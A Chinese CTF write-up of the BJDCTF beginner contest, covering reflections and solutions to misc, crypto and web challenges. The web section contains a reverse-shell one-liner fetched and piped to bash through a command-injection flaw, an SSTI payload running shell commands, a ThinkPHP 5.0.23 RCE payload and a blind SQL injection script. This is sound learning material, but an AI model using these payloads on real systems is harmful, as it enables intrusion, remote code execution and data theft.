為時一天多的新手賽一下子就結束了。感覺有很多東西值得寫一寫。這次比賽對於我來說是一個學習的過程,也是一個把各種想法實踐的過程。其中有歡樂,也有遺憾。

Summary

這次比賽還是菜得真實,雖然按照計劃交叉解題,但是停頓的卻總是同一邊。導致最後 Crypto 和 Misc 做了不少,但本應該寫上一些的 Web 卻沒能寫出來。這也是我覺得這次比賽很遺憾的原因之一。Crypto 和 Misc 這次倒是寫了不少,但是依舊沒有能夠打穿(就差那麼一點點,如果 tar.gz 我能找到思路的話也許就真的可以打通這次的 Misc 了。)不管怎麼說,我覺得這次的比賽對我來說更像是一個快速學習的過程,限制時間的解題使得我快速攝取了很多東西,就這點上來說,名次反而是次要了。

Reflection

其實比賽結束之後心裡還是挺難過的,畢竟感覺留下遺憾了。而且比賽的時候總是會越來越急躁,不停地看 Matrix,然後不停地去嘗試,翻資料,換方法。特別是第一天比賽剛開始的時候,感覺特別難冷靜地看題,簽完到就點開了薛定諤。結果沒冷靜看的我完全沒思路,一通亂懟,自然沒結果。雖然時長和大家打趣說要善用搜索引擎,可是到了關鍵時候,自己卻查不到某些東西,甚至連關鍵詞的提取都能出錯。再者,感覺題還是做少了,大部分時間都在做著一些類型差不多的題,但實際上還有很多很多沒有見過的東西,這也導致在拿到一些題目的時候,幾乎把標籤頁開炸了,每一個點都在用搜索引擎仔細檢索。果然還是各種題目見得太少了,加上一部分的偏執,以及缺少嘗試,常常是自己想著想著就把思路掐掉換另外一個了。而且做題的時候容易想當然,就有種“欸這個點我好像看過,應該是這樣寫的”的感覺,然後就會“沒道理啊,怎麼會呢?怎麼會不對呢?”的感覺。所以,還是要仔仔細細多嘗試,不要過於想當然,有的時候並不是想啥是啥。(何況我也沒那水平QAQ)還是得慢慢地好好學,多看多寫,這樣才能有所改善

Ps. 事實證明,真的不要糾結一題,我卡在薛定諤卡了好久,然後今天發現了後面的一道簡單題。(其實薛定諤也簡單,我當時時間戳都解出來了,但是走錯了思路,沒去注意那個 check)QAQ

回過來想想,其實解題就像是生活,所有事情都不可能很急躁地辦成,越到關鍵時刻越要冷靜。就像某道睡醒了之後突然解出來的 Crypto 以及聽了很久的開場曲。好好聽,把每一個音對準了,才能拿到 flag;好好學,把每一個點摸透了,才能真正地勝利。

Write Up

挑食的小蛇

拿到題目首先審計了一波源碼,因為 vi 沒有高亮很難受,就 scp 傳了一份到我服務器上然後下載下來審計,發現瞭如下代碼。

1
2
3
4
5
6
7
8
9
10
11
// 獎勵shell
if( score >= 30 && cnt > 2333){
GameState=0;
printf("\033c");
system("stty icanon"); // 恢復緩衝
system("stty echo"); // 恢復回顯
printf("\033[?25h"); // 恢復鼠標顯示
GiveAwards();
}
}
}

於是開始正經玩起了貪吃蛇(本來想改源碼重新編譯的,但遠程沒給 gcc 做不到),好在要求並不難,到達 3000 分也就是讓蛇吃到 30 個塊塊之後原地轉圈刷步數到 2333 然後遊戲結束。然後 cat flag 就能拿到 flag。

1
寫出來之後交了就忘了記flag

小姐姐

解壓 xiaojiejie.zip 拿到圖片之後用 binwalk 跑了一遍,發現就是一張普通圖片,但是顯示好像不太正常,有一部分斷層了。於是放進 010editor 裡面隨手搜了一波 BJD 就找到了 flag。

1
BJD{haokanma_xjj}

A Beautiful Picture

拿到圖之後發現是為數不多的 png,馬上就想到了之前寫過的修改圖片高度的題型,但還是用了一手 stegsolve,當然並沒有什麼收穫。注意到圖片的寬度和高度呈現一種很奇怪的關係(1000x900 感覺真的很刻意)於是嘗試把圖片放到 010editor 裡,把代表高度的 03 84 改成 03 E8 也就是 1000。保存後重新打開圖片得到 flag。

1
BJD{PnG_He1ghT_1s_WR0ng}

最簡單的MISC

拿到壓縮包之後發現是加密的,於是放到 010editor 裡按照偽加密的套路開始嘗試,搜索常見的全局方式位標記的加密標記 14 00 09 00,一共找到兩處,將它們改為 14 00 00 00 之後就過了偽加密,正常解壓得到 secret。

將 secret 放入 010editor 裡,由頭部的 IHDR 和 尾部的 IEND 知道這是一張 png 圖片。於是找一張正常的 png,複製 secret 丟失的部分,即 89 50 4E 47 0D 0A 1A 0A 00 00 00 00 0D 這一部分,將其相應得補充到 secret 的頭部,保存後即可正常打開 secret 圖片。得到一串 hex 42 4A 44 7B 79 31 6E 67 7A 75 69 73 68 75 61 69 7D 將其進行編碼轉換後可得flag。

1
BJD{y1ngzuishuai}

Imagin - 開場曲

這題首先從開始的畫面中得知 Mikutap,接下來就是按鍵聽音的過程,將所聽到的音和按鍵一一對應。結合給出的 hint 得知數字的範圍,然後慢慢聽出 flag。(真好玩)

附上我聽出來的按鍵順序

1
BJD BJD MIKU TAP MIKU TAP 331 331 3 331 331 3
1
BJD{MIKUTAP3313313}

Real EasyBaBa

拿到顯示不正常的圖片之後,跑了一下 binwalk,發現依舊是普通圖片。於是打開 010editor,有了前面小姐姐那題的經驗,就想到 flag 應該是藏在文件本身的內容裡。果然在打開之後發現有一個區段很奇怪,完全由 FF 00 這兩個 hex 交替組成。一開始沒看出什麼,直到我嘗試去讀它們的輪廓,就發現了一些東西。(下面是那個區段 很想找個高亮來著 但是這樣也差不多能看出來)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
FF FF FF 00 FF FF FF FF 00 FF FF 00 00 00 FF FF
FF 00 FF 00 00 00 FF 00 00 FF 00 FF 00 00 FF 00
FF 00 FF 00 00 00 FF 00 00 FF 00 FF 00 00 FF 00
FF FF 00 00 00 00 FF 00 00 FF 00 FF 00 FF 00 00
FF 00 FF 00 00 00 FF 00 00 FF 00 FF 00 00 FF 00
FF 00 FF 00 FF 00 FF 00 00 FF 00 FF 00 00 FF 00
FF FF FF 00 FF FF FF 00 00 FF FF 00 00 00 FF FF
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF 00 00
FF 00 00 00 00 00 FF 00 00 00 FF 00 00 FF 00 00
FF FF FF 00 00 00 FF 00 FF FF FF 00 00 FF 00 00
00 00 FF 00 00 00 FF 00 FF 00 00 00 00 FF 00 00
FF FF FF 00 00 00 FF 00 FF FF FF 00 FF FF FF 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 FF 00 FF 00 FF FF FF 00 FF FF FF 00
FF 00 00 00 FF 00 FF 00 FF 00 FF 00 00 00 FF 00
FF FF FF 00 FF FF FF 00 FF FF FF 00 00 00 FF 00
00 00 FF 00 00 00 FF 00 00 00 FF 00 00 00 FF 00
FF FF FF 00 00 00 FF 00 FF FF FF 00 00 00 FF 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 FF FF 00 00 00 00 00 00 00 00 00 00
FF 00 00 00 00 FF 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 00 FF 00 00 00 00 00 00 00 00 00 00
FF 00 FF 00 00 FF FF 00 00 00 00 00 00 00 00 00
FF 00 FF 00 00 FF 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 00 FF 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF 00 63 DA E9 3C 36 B1 AA 93 59
1
BJD{572154976}

聖火昭昭

outguess

解壓 zip 之後得到一張貓貓的圖,查看圖片屬性,有一段密文。使用 新約佛論禪 這個站點的解密工具解密之後可以得到 key gemlovecom,根據 hint 修訂為 gemlove

再根據題目提示的 guess,一番搜索之後找到了 GitHub 上的 outguess 工具。Clone、編譯並安裝之後根據用法寫出下列指令從圖片中分離到 flag。

1
outguess -k "gemlove" -r sheng_huo_zhao_zhao.jpg hidden

從 hidden 中得到 flag。

1
BJD{wdnmd_misc_1s_so_Fuck1ng_e@sy}

Easy Baba

下載到圖片之後發現有 19M,果斷跑了一波 binwalk,發現結果很奇怪,中間好像插入了什麼。於是跑了一波 foremost,得到了一張圖片和一個壓縮包。壓縮包解壓後有一張 jpg 叫 裡面都是出題人。但是這張圖片無法打開,於是放進 010editor 中,由文件頭部的 52 49 46 46 1C 7D 7D 02 41 56 49 20 這一段可知這是一個 avi 格式的視頻文件,於是修正拓展名。根據題目 hint,將視頻放進 Pr 中逐幀播放,在各出題人的圖片上得到了三個二維碼(其實應該還有一個?但是我得到這三個之後猜出來了)。將三個二維碼截圖之後放進 Ps 中,調整一下色階然後反相,就能得到能夠輕易掃出來的二維碼。逐個掃描之後得到三段 hex。

1
2
3
6167696E5F6C
6F76655F59
316E677D

轉換編碼之後得到了一部分 flag agin_love_Y1ng} 根據題目的提示得知題目中的主角應該是 imagin 師傅,於是補全 flag。

1
BJD{imagin_love_Y1ng}

簽到

簡單的 Base64 編碼轉換,將題目所給字符串解碼可得 flag。

1
BJD{W3lc0me_T0_BJDCTF}

燕言燕語

拿到題目的字符串之後觀察可知這是一段 hex,編碼轉換之後得到明文 yanzi ZJQ{xilzv_iqssuhoc_suzjg}ZJQ BJD 這二者的對應關係應該算是提示,於是手算了一下,很容易發現,Z 往前移動 24 個位置得到 B,而 J 的位置沒移動,Q 向前移動 13 個位置得到 D。而 24、0、13 的位置編號剛好對應當 A 為 0 時的字母編號。

1
2
3
4
5
y:24
a:0
n:13
z:25
i:8

根據上述的位置關係,循環使用 yanzi 作為解密的要素,將各個字符依次前移可以得到 flag。值得注意的是移動的時候要循環,即 Z 的後面又是 A。

1
BJD{yanzi_jiushige_shabi}

老文盲了

這題的附件是 rar,補全拓展名之後解壓得到 old_illiterate.txt。打開之後得到難懂的中文,於是根據題目的 hint 去查了對應的拼音,得到 bì jí dì dà kuò hào zhè jiù shì fǔ lài gē zhí jiē jiāo lè bā dà kuò hào。根據這個提示把這段中文掐頭去尾然後包上 flag 的固定格式得到 flag。

1
BJD{淛匶襫黼瀬鎶軄鶛驕鰳哵}

cat flag

拿到貓貓圖片之後,八個貓貓一排,可以想到是二進制編碼。於是把吃飯糰的貓貓標記作 0,把吃雞腿的貓貓標記作 1,得到如下編碼。

1
2
3
4
5
6
7
8
9
10
01000010
01001010
01000100
01111011
01001101
00100001
01100001
00110000
01111110
01111101

轉換編碼後得到 flag。

1
BJD{M!a0~}

靈能精通

其實一開始我也不清楚,但是在諸多提示下,根據提示找到如下解密圖片。

Templar Cipher

對應解密之後,可以得到 flag。
1
BJD{IMKNIGHTSTEMPLAR}

Y1nglish

這題我可喜歡了,下面我來分析一波。

首先根據提示得知這是一篇完全可讀的英文文章,所以大小寫不做特別區分。

再者,根據前面題目的經驗,MIH 應該對應 BJD,因此得到 M => B、I => J、H => D。

Izcztkok 這個詞在句子中首字母大寫,因此它是一個名詞,而 z 在名詞前單獨出現,I 對應的 J 是輔音音素的字母,因此,名詞前的不定冠詞應該是 a,因此,Z => A。

Q 字母在單獨出現的時候從來沒有小寫過,且多位於句首,因此判定其是主語 I,因此 Q => I。

zd 出現在了冠詞前,由 a 開頭的二字母常用詞有兩個,as 和 at(因為沒有 Q zd 的結構排除 am 這種可能)。但是觀察到 pk qo 部分的半句,有兩種情況,從句和普通句,但是因為除了 as 沒有其他的二字母引導詞(p 也不可能是 a),所以按普通句處理。因此, pk 應該是一個主語,而 qo 作為 i 開頭的二字母謂語,就是 is 了,因此,O => S。所以 zd 不可能是 as,因此 D => T。

ds,以 t 字母開頭的二字母常用單詞只有 to,因此 S => O。

qt,排除了 is, it 這些二字母單詞,剩下的以 i 開頭的常用詞就剩下 in 了。因此 T => N。

由前面的推斷已知 pk 是個代詞,所以 pk nzo 中的 nzo 一定是個謂語,結合上述的結果,可得這個單詞是 was。所以 N => W。

med 後面出現了代詞 pk 且出現在斷句處,因此 med 是個連詞,結合上述可得 med 是 but,因此 E => U。

能夠構成 sef 這個結構的單詞並不多,解出了前兩個字母,只有 our, out 這兩種可能,而 D => T,因此 sef 極大可能是 our,因此 F => R。

因為 qo 是 is,zth 是 and,所以,推測 usf 是個介詞,以 or 結尾的三字母介詞,極大可能是 for。因此 U => F。

vssh 出現在了冠詞後,且其後還有一個詞,緊接著是斷句,因此它可能是個形容詞,而以 _ood 結尾的形容詞,極大可能是 good,因此,V => G。

ufsl 這個詞出現在了兩個名詞中間,且解出幾個字母為 fro_,很容易想到 L => M。

vkdo 出現在代詞 Pk 後,因此考慮它是個謂語動詞,結合解出來的幾個字母,容易拼合出 gets,因此 K => E。因此,Pk 第三人稱代詞得到驗證,Pk 是 He,因此,P => H。

mzoqa 中拼出大部分字母之後容易得出 A => C。

Qu wse 中的 Qu 拼出為 If,後面的 zfk 拼出為 are,所以句子缺少主語,推測為代詞,以 _ou 結尾,因此得出 wse 是 you,因此,W => Y。

qo lzqtbw usf 拼出 is main_y for,容易得出 B => L。

dwcko 拼出 ty_es,容易得出 C => P。

進行到這裡,篩選一下沒有被匹配的字符,還剩下 KQVXZ 五個字符。

uqjk 拼出 fi_e,從上面選一個,拼出 five,因此,J => V。

剩下幾個字母在文章中沒有出現,先對照著把整篇文章解密再想辦法。(下附解密文章[錯誤已更正])

1
2
Welcome to our competition. Our competition is mainly for freshmen and sophomores. There are five types of topics in this competition, each of which is very basic. If you are interested in network security, welcome to participate. Let me tell you a story.
I was having dinner at a restaurant when Harry Steele came in, he is a Japanese from Japan but now he is not living in Japan, maybe Harry isn't a Japanese name but he is really a Japanese. Harry worked in a lawyer's office years ago, but he is now working at a bank. He gets a good salary, but he always borrows money from his friends and never pays it back. Harry saw me and came and sat at the same table. He has never borrowed money from me. While he was eating, I asked him to lend me &2. To my surprise, he gave me the money immediately. 'I have never borrrowed any money from you,' Harry said,'so now you can pay for my dinner!' Now i will give you what you want.BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}

更正錯誤時,根據文意將 wory 改作 work,因此 Y => K。

flag 中的 geqc 解密作 quip 比較合理(善用搜索引擎,quipqiup - cryptoquip and cryptogram solver)因此,G => Q。

至此,文章和 flag 都已經解密完畢,下附對照表。(其中 R、X 因為沒有出現,無法解出)

1
2
ABCDEFGHIJKLMNOPQRSTUVWXYZ
CLPTURQDJVEMBWSHI ONFGY KA
1
BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}

Schrödinger

Cookie

打開頁面之後是一個“Login Fucker”。隨手先 confirm 一個,然後看完一手說明去看了這個頁面的源代碼,找到了 test.php 這個頁面,瘋狂嘗試注入然後看了一手頁面源碼發現根本沒有可以回顯的地方。 沒錯,比賽的時候試了很久注入才發現是個固定的 alert,然後就沒思路了。

回到最開始的頁面發現了有個 Cookie 很奇怪,複製下來 Base64 一頓懟之後可以發現是 user = 提交時間戳。 可能是平時奇怪的代碼寫多了,覺得這個並沒有什麼特別的,於是比賽時就放過它了。(就是這樣卡了差不多一天)

其實應該是把 test.php 的 url confirm 進去,然後 document.cookie="dXNlcg=" 把這個 Cookie 置空再刷新就能達到 99%+ 的成功率,然後再 check 一下就能拿到下一步線索。

1
Burst successed! The passwd is av11664517@1583985203.

一看就知道是 Bilibili 的 av 號,找到對應視頻再按時間戳找評論就能拿到 flag。

1
BJD{Quantum_Mechanics_really_Ez}

duangShell

Reverse Shell

打開頁面之後根據提示拿到了 .index.php.swp 這個文件。比賽的時候踩了個坑,直接用 Windows 的記事本打開了,然後只拿到一半源碼,結果根本審計不出來(少了最上面的一半 if ),當時還以為也是考點來著。正確的姿勢應該是找個 vim 然後用 vim -r 恢復文件來拿到源碼。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<body>
<center><h1>珍愛網</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

稍微審計了一波,發現很多命令都直接濾掉了,但是題目叫 shell。於是搜了一波反彈shell,找到了這個。但是還少了一點東西,就是如何把反彈 shell 的命令傳上去,這裡找到了兩條可行指令,但是靶機沒得 wget,所以用 curl。首先把指令寫在一個文件裡,這裡我寫在 lemonshell.txt 中,內容如下。這裡的端口和 IP 可以在終端中用 ifconfig 查詢。

1
bash -i >& /dev/tcp/174.1.93.139/8210 0>&1

然後再用 nc -lvp 8210 監聽 8210 端口。回到網頁端,審計代碼可以得出是要傳入一個 girl_friend 的參數,其在一系列過濾之後被執行。所以 POST 參數可以這樣寫。

1
2
3
4
5
//When there is wget
girl_friend=wget –q –O 174.1.93.139/lemonshell.txt|bash

//When there is no wget, use curl
girl_friend=curl 174.1.93.139/lemonshell.txt|bash

如果成功了就能在監聽端口的終端看到回顯,大概像這樣。

1
2
3
4
connect to [174.1.93.139] from 6005-d5c879a9-8350-4539-b26c-f102bcd90b88.1.8tv0l2tbgn7e5fs3p1k8rfnny.ctfd_swarm [174.1.93.128] 43370
bash: cannot set terminal process group (170): Not a tty
bash: no job control in this shell
bash-4.4$

然後就是找 flag 啦。首先一手 cat /flag 然後沒有拿到 flag。於是開始 find / -name flag,一開始沒有找到,因為一堆 Permission Denied 我以為沒得。然後堆堆提醒我說 find 得等比較久。於是等了一會兒,find 返回了這個 /etc/demo/P3rh4ps/love/you/flag,於是順利拿到 flag。

1
flag{ed2e8ade-b5d4-4164-8154-6432592a8466}

假豬套天下第一

Headers

一打開頁面,一股精緻的畫風撲面而來(x 隨手來了個賬號密碼登錄,發現居然成了,到了 profile.php,然後看了一手源碼,發現啥都沒有,再看了一手 Cookie 也沒有發現,請求頭也沒有東西。(陷入僵局)

想到瀏覽器沒辦法抓 302 啥的,就打開了 Fiddler,順手抓了一波登錄的包,在跳轉頁面的響應源碼發現了點東西,出現了個 L0g1n.php。於是把它打開,頁面提示錯誤,順手看了波源碼,發現要改 Cookie。照著前面的套路算了一下符合要求的時間的時間戳,用 document.cookie="time=4740774808" 改完之後刷新。跟著頁面提示設置一系列 Header。

1
2
3
4
5
6
User-Agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)
Cookie: time=4740774808
via: y1ng.vip
from: root@gem-love.com
referer: gem-love.com
x-real-ip: 127.0.0.1

這樣之後會得到 Sorry, even you are good at http header, you're still not my admin. Althoungh u found me, u still dont know where is flag 的提示,於是看了一波 Fiddler 上的響應,發現了一段註釋。

1
<!--ZmxhZ3s1NmVjMTNmZS03Mzk1LTRlY2MtYmIxYS0zMmNjZTQ1NzNjZGZ9Cg==-->

將它 Base64 編碼轉換之後得到 flag。

1
flag{56ec13fe-7395-4ecc-bb1a-32cce4573cdf}

fake google

SSTI

打開頁面之後隨手輸了個 P3,得到的結果是 P3's girlfirend is : P3。隨手看了看網頁源代碼,發現了 hint <!--ssssssti & a little trick -->,然後嘗試著構造了個 {{5 * 7}},得到了 35 的預期結果,然後再構造了個 {{6 * '7'}} 得到了 777777 的預期結果,所以應該是 Twig/Jinja2 類型的模板。

先構造一波參數找一下 flag 的位置,.../qaq?name={{ config.__class__.__init__.__globals__['os'].popen('find / -name flag').read() }},得到的返回值顯示 flag 就在根目錄。於是直接構造 cat /flag 就能得到 flag。

1
flag{39648fcb-2a51-47ac-b651-8aa0d5ddecef}

堆堆跟我說過這題還有個關鍵字過濾的精髓操作(可惜在 BUUCTF 上沒作用了),於是我在這裡模擬一下繞過過濾的操作,即將過濾的字符用其他字符替換,這裡以 flag => LEMON 操作。我找到了一個很好用的替換指令:sed。因此,payload 可以這樣寫。

1
.../qaq?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag|sed "s/flag/LEMON/g"').read() }}

得到的 flag 會變成這樣,就解決了過濾的問題。

1
LEMON{39648fcb-2a51-47ac-b651-8aa0d5ddecef}

簡單注入

SQL Injection

這題比賽的時候瘋狂試了好久,我記得當時好像說不要掃目錄來著,結果就沒想特殊文件,其實 robots.txt 裡面藏著 hint.txt 然後有個提示直接給出了查詢的語句 select * from users where username='$_POST["username"]' and password='$_POST["password"]';。但是試了很久發現完全沒得回顯,除了固定的那一句(說到這裡,我想鯊了 HackBar 插件)。查了一波之後知道了反斜槓的套路,然後使用 /**/ 代替空格構造了 username=admin\&password=or/**/ascii(substr(password,1,1))>1# 這樣的請求,用某在線工具發送請求之後得到了不一樣的結果,於是就上了一波盲註腳本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
using System;
using Flurl.Http;
namespace CTFdo {
internal class Program {
public static void Main(string[] args){
const int BEGIN_ASCII = 32;
const int END_ASCII = 127;
const string URL = "URL_HERE";
int position = 0;
string result = "";
while (true){
position++;
int _begin = BEGIN_ASCII;
int _end = END_ASCII;
while (_begin < _end){
int _mid = (_begin + _end) / 2;
string data = "username=admin\\&password=or/**/ascii(substr(password," + position + ",1))>" + _mid + "#";
string _result = URL.WithHeaders(new {Content_Type="application/x-www-form-urlencoded"})
.PostStringAsync(data).ReceiveString().Result;
if (_result.Contains("BJD needs to be stronger")){
_begin = _mid + 1;
}
else{
_end = _mid;
}
}
if (_begin != BEGIN_ASCII && _end != END_ASCII){
result += (char)_begin;
}
else{
break;
}
}
Console.WriteLine(result);
}
}
}

一番操作得到了密碼 OhyOuFOuNdit,登錄之後得到 flag。

1
flag{12781fb2-7b4d-48ff-8540-1cc663189d9a}

old-hack

打開頁面之後發現 ThinkPHP,這波提示十分明顯。於是一套操作,發現報錯了,但是拿到了具體的版本號 5.0.23。一頓搜索之後找到了命令執行的 payload。於是抄一波作業,向 .../index.php?s=captcha POST _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls 成功發現根目錄的 flag。於是再構造一波 cat /flag 就得到了 flag。 這裡順帶貼一波參考資料 One Two

1
flag{bcd83ed3-ec7d-4397-9e2c-d06a4245f0e6}

Easy MD5

氦,這題其實只有一開始的點我是不知道的。ffifdyop 這個字符串被 MD5 摘要之後 hex 轉 ASCII 可以構成一個 or,因此可以達成正確的結果。過了這一個點之後可以在下一個頁面的源碼種找到一段註釋。

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

這波直接構造 a[]=1&b[]=2 就能通過。第三個頁面的 if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])) 也可用一樣的方法繞過,從而得到 flag。

1
BJD{Md_five_is_fun}